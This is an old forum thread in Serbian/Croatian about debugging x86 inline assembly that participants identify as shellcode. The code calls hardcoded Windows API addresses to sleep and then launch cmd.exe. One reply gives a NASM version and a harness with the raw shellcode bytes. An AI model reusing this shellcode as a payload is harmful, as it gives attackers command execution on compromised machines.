[ `and @ 04.05.2005. 14:26 ] @
Code:

push ebp
mov ebp,esp
xor  eax,eax                 
mov ebx, 0x77e61bea  
mov ax, 3000           
push eax                   
call ebx
xor edi,edi
push edi
mov byte ptr [ebp-04h],63h
mov byte ptr [ebp-03h],6Dh
mov byte ptr [ebp-02h],64h
push edi
mov byte ptr [ebp-08h],03h
lea eax,[ebp-04h]
push eax
mov eax, 0x77E6FD35
call eax 


tnx
[ Mikky @ 05.05.2005. 22:32 ] @
Malo se vise potrudi da recima objasnis sta ti treba pa ce i nama biti lakse da ti pomognemo.
[ `and @ 06.05.2005. 13:24 ] @
Kada kompajliram ovaj kod sa VC++ 6.0 dobijem gresku da ESP nije sacuvan dobro accros function. Pa me zanima kako to da sredim ... inace ovo je samo deo koda u jednom C programu.

tnx
[ Mikky @ 06.05.2005. 15:06 ] @
Meni ovo lici na pozivanje neke API funkcije preko hardcoded adrese (sto se ne preporucuje). Ja nemam mnogo iskustva sa ubacivanjem asm koda u VC++ ali kod pozivanja procedura ESP treba da ima istu vrednost pre i posle poziva. Sto ce reci sve sto si push-ovao kao parametar za proceduru treba i da smaknes sa stacka posle poziva.
Npr
Code:

push param1
push param2
call MyProc
add esp,2*4 ; sredi stack, tj ukloni 2 parametra od po 4 bajta


Medjutim, API fje koriste STDCALL konvenciju koja cisti stack unutar same procedure pa ti posle call nemoras rucno da cistis parametre sa onim "add esp,2*4". Ok zakljucak ove price je da u stvari ne znam sta je problem kod tebe ali ti ovo mozda moze dati neke smernice.
[ deroko @ 06.05.2005. 17:54 ] @
cccc ne pise ti se tako shellcode...
[ `and @ 06.05.2005. 19:32 ] @
Mozda to nije za shellcode ... :)
[ DreamsInDarkness @ 07.05.2005. 13:51 ] @
Vise lici na shellcode.... :) Koristi za kompajliranje nasm. Moja preporuka. Mada ne znam sta radis,za koju svrhu to koristis......
[ DreamsInDarkness @ 09.05.2005. 17:49 ] @
kod mene tvoj kod radi... moglo bi se reci...

nasm

Code:

;sh.asm
bits 32

start:

push ebp
mov ebp,esp
xor  eax,eax                 
mov ebx, tvoja adresa  
mov ax, 3000           
push eax                   
call ebx
xor edi,edi
push edi
mov byte [ebp-04h], 63h
mov byte [ebp-03h], 6Dh
mov byte [ebp-02h], 64h
push edi
mov byte [ebp-08h], 03h
lea eax,[ebp-04h]
push eax
mov eax, tvoja adresa
call eax 

end


i onda ubacis kompajlirani shellcode u ovaj fajl....

Code:

;callsh.asm
extern ExitProcess

section code use32 class=code

..start:

call shellcode

;..........................
;..........................

shellcode:
db 85,137,229,49,192,187,8,45,249,191,102,184,184,11,80,255
db 211,49,255,87,198,69,252,99,198,69,253,109,198,69,254,100
db 87,198,69,248,3,141,69,252,80,184,92,142,247,191,255,208

push byte 0
call ExitProcess

end




ovo sam na brzinu sklepo, tako ga nekako testiraj.....